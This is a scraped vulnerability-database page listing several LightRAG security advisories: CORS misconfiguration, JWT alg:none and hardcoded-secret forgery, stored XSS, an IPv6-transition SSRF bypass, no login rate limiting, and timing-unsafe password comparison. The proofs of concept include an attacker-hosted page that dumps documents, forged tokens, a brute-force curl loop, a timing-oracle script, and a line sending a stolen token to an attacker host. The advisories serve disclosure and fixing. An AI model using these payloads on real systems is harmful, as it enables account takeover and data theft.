            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 29, 2025

1.4.6 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


